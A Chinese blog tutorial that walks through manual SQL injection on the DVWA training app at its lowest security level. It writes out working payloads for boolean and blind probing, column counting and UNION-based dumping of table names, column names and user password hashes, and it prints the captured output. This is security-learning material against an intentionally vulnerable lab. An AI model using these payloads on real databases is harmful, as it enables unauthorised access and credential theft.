SQL 手动注入学习实战 —— dvwa 从low到impossible《low篇》
概念相关
在PHP中动态构造SQL语句的语言是<最简单,最耿直>
query="SELECT∗FROMusersWHEREusername=".query=" SELECT * FROM users WHERE username = "._GET[“name”];
通过控制name参数,修改执行的SQL语句,可以达到攻击的目的。
SQL语法相关首先你要对php语法有了解,然后再去搞这个
SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值
手工注入篇
步骤一,判断注入点
逻辑推理测试法
- 首先我们需要了解数据通过什么方式输入,大概有以下三种
- GET请求,在URL中发送参数
- POST请求:数据包含在请求体中
- 其他注入: HTTP请求的其他内容也会出发SQL注入漏洞
- 别忘了用你的winshark或者bripsuite,通过抓包,你一定可以得到更加详细的注入信息。
我们用 DVWA为例,一步步提高难度,先调整到low难度,然后我们提交了一个1
GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
这个就是非常常见的GET方法了
此时,sql语句就变成了
select * from users where id = 1
确实是一句没有任何问题的语句。但是如果加了’呢?那就会报错了。
因为mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。
and or 方法
如果页面不返回任何错误信息,我们就要用这种方法。 在参数后面加上 and 1=1 和and 1=2 来找不同。因为第一个条件是为真的,第二个条件是假的。
然后我们看看会不会返回错误结果。
加减法
有些愚蠢的管理员会把获取ID写成数字型,那么我们的’大法就起不了效果了。
我们可以输入 1+1 (加号用%2b代替)来看看是不是返回id =2的结果。
综合与应用
判断注入是字符型或者数字型
往框框里输入
- 1
- 1’ and 1=1 #
- 1’ and 1=2 # 显示不存在;找到注入点,发现是字符型SQL盲注入
TIPS:高级点,我们要把 #换成 %24,把空格换成/**/。当然还有很多替换法不一一说明,毕竟这是low级别
步骤二 oder by 和union select 爆破当前库名
补充: low的服务器核心代码(部分) <盲注>
我感觉CTF中不可能把错误代码打出来
// Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
<先说最愚蠢的枚举二分法>
- 先枚举法
1’ and length(database())=1 #
然后一个个试过去,发现4 显示存在找到。
- 后ASCII二分法
1’ and ascii(substr(database(),1,1))>97 #
一个个找,然后就能够猜出完整的库名 dvwa
TIPS:substr PHP的字符串查找函数 substr(string,start,length)
string -不用说了 start 当前字符串位置(这里的话就要1,2,3,4一个个枚举过去>了),length的话正数是 从start位置返回,负数的话是从字符串结尾返回。
再说说一些正常注入的方法,不过盲注用不了的。因为它不打印错误信息啊
找到注入点之后,我们用
1’ order by 《num》# 来查找在表中的列数
在low等级中
1’ order by 2# 可行,到了3就输出错误信息了。所以最大是2列
//这个信息肥肠重要
之后我们用select union 的方法,来查找关键信息。
灰常好用的函数:
- version()
- user()
- database()
@@version_complie_os
好了,现在输入
1’ union select database(),2#
就可以得到我们之前,千辛万苦找到的dvwa数据库了。
TIPS:注意,union select 的时候一定要把它的参数位置填满,可以用数字填满
也可以用函数填满,别傻乎乎的就写一个version()还报错了
步骤三 爆破当前表名
内容感谢这个作者,这是我看到的一篇盲注写的很不错的作者
首先猜测表的数量
输入
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
然后挨个试,发现《替换=1中的1为1,2,3,4,5,…》2 可行。
接下来猜表名
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
替换=1中的1为1,2,3,4,5,…发现9可行。
所以长度是9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
又到了ASCII二分环节,然后找到了第一个表名 gusetbook
之后把limit 后面的那个1换成2 ,再来一遍,找到第二个表名 users
我的妈,CTF一道盲注题手工要做多久
应用information_schema的数据库,只支持MYSQL,能够帮我们快速爆破表名
首先我们复习一下语法
SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值
输入
1’ union select database()# 刚刚做过了啦~
输入
1’ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
截获信息
ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: admin
Surname: adminID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: guestbook
Surname: 2ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: users
Surname: 2
我的妈,我盲注半小时,普通一分钟
步骤四 爆破当前字段
首先猜解表中字段的数量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #
一个个试,发现8存在
接着挨个猜解字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
一个个试发现有7个字符串长度。
后面作者就没写了,讲道理这个盲注真是看得晕头转向。
之后补上。
《这里拿user举例子》
1’ union select column_name,2 from information_schema.columns where table_name=’users’#
哇因缺思厅!
ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: admin
Surname: adminID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user_id
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: first_name
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_name
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: password
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: avatar
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_login
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: failed_login
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: CURRENT_CONNECTIONS
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: TOTAL_CONNECTIONS
Surname: 2
获取密码
盲注。之后更新。。。
普通注入语句
输入:
1’ union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216bID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
好了到手了。接着就MD5解密,或者交给你做A类的同学吧。
普通注入,总结与相关
- 步骤1 寻找注入点 关键词 字符注入点,宽字节注入点,数字注入点
- 步骤2 爆破当前数据库名
- 关键词 order by ,select union database()
- 步骤3 爆破当前表名
- 关键词 union select table_name,2,3,4,5 from information_schema tables where table_scheme=’ 库名’#
- 步骤4 爆破当前字段名
- 关键词 union select column_name,2,3,4,5 from information_schema.columns where table_name=’表名’#
- 步骤5 数据解析
- 关键词 解密算法
关于其他的注入方法,会在之后的难度中补充。
盲注之后还会再写,自己还没有搞清楚。
2018年1月10日00:10:31
烧包包儿
SQL 手动注入学习实战 —— dvwa 从low到impossible《low篇》相关推荐
- SQL注入(一)—— sql手动注入实操
SQL SQL注入 sql 注入的核心 SQL 手注的一般流程 判断注入点 -- 第一步 判断字段数 -- 第二步 判断回显点 -- 第三步 查询相关内容 -- 第四步 判断库名 判断表名 判断列名 ...
- 【墨者学院】SQL手动注入 靶场初体验
博主首次浅尝一下SQL注入,一顿操作,然后,啊哈 破解成功! 墨者学院靶场地址 step1: 判断注入 判断是否存在注入,这个靶场肯定存在注入,在参数id后面拼接一些其他变量即可. step2: 猜解 ...
- SQL手工注入原理(含环境搭建) ─=≡Σ(((つ•̀ω•́)つ 知己知彼百战百胜 web安全
文章目录 SQL测试环境环境搭建 下载与安装环境 开启与使用环境 sqli-labs环境部署 dvwa环境部署 SQL手动注入 SQL注入原理 SQL注入分类 SQL注入手段 寻找注点 利用注点 ge ...
- SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)
CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...
- 探针一号的SQL注入学习笔记
SQL注入学习笔记 文章目录 SQL注入学习笔记 1.问题 2.sqlilabs环境配置 3.第一个注入过程详解(整型注入) 4.跨库注入 5.字符型注入 5.报错注入 6.POST和COOKIE请求 ...
- mysql prepare 注入_实战1:如何用 PREPARE 防止 SQL 注入
实战1:如何用 PREPARE 防止 SQL 注入 1. 前言 在前面的小节中,我们一起学习了 SQL Prepare,本小节以实战的角度来继续深挖 Prepare,如果你还不了解 Prepare,请 ...
- sql注入学习——时间盲注
前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...
- SQL注入学习part07:(SQL注入语句总结)
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part07 整数型和字符型 整数型 字符型 ...
- SQL注入学习part06:(结合sqli-libs学习:51-61关)
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part06 第五十一关 第五十二关 第五十三 ...
最新文章
- 第一篇随笔——新的开端
- “双创指数”引行业拼抢,基民的“机会”又双叒叕来了?
- Boost:bind的noexcept成员函数的type <>语法的测试程序
- node.js学习笔记(4) http服务
- mysql卸载完环境变量还有_MySql完全卸载
- mysql 为数据表添加字段_MySQL数据表添加字段实例
- flowable实战(九)flowable数据库表中流程实例、活动实例、任务实例三者之间关系分析
- ajax通过什么实现,ajax(通过jQuery实现)
- 构架https服务器
- rk3399_android7.1调试mipi转lvds转换IC总结
- python局域网alive ip侦听
- Video Caption Tutorial
- unity的Rotation值如何修改
- 注射php,手工注射php学习
- 剑与家园服务器维护,《剑与家园》杀鸡取卵式运营 如何拯救短命的区服?
- 协鑫集成的这款组件,真的很适合农光互补!
- 降噪提升动漫图片,人物照片等图片画质(分享)
- Windows 2003 下手动关闭危险端口
- mybatis查询更新
- Vue el-table-column根据行数据添加button和修改对应数据and控制显示条件
热门文章
- ftp服务器必须运行ftp服务器软件对吗,ftp是什么?FTP服务器搭建及选择
- p5.js 写个连连看
- 解决mac端VLC媒体库拖入具有多个文件的N多视频后就会卡死,或者cpu占用颇高的问题
- selenium用jquery改变元素属性
- 俄罗斯电商平台ozon的崛起,卖家可以使用测评补单方式打造爆款吗?
- android 调用相机并获取图片地址,Android 7.0使用FileProvider获取相机拍照的图片路径...
- 使用 ArcGIS Pro 对一幅没有空间参考的老照片进行配准
- 为什么越来越多的企业选择云计算?—分析云计算的优势和未来发展趋势
- JAVA 图片地址路径转换 Base64 工具类
- IDEA常用操作总结(长期更新)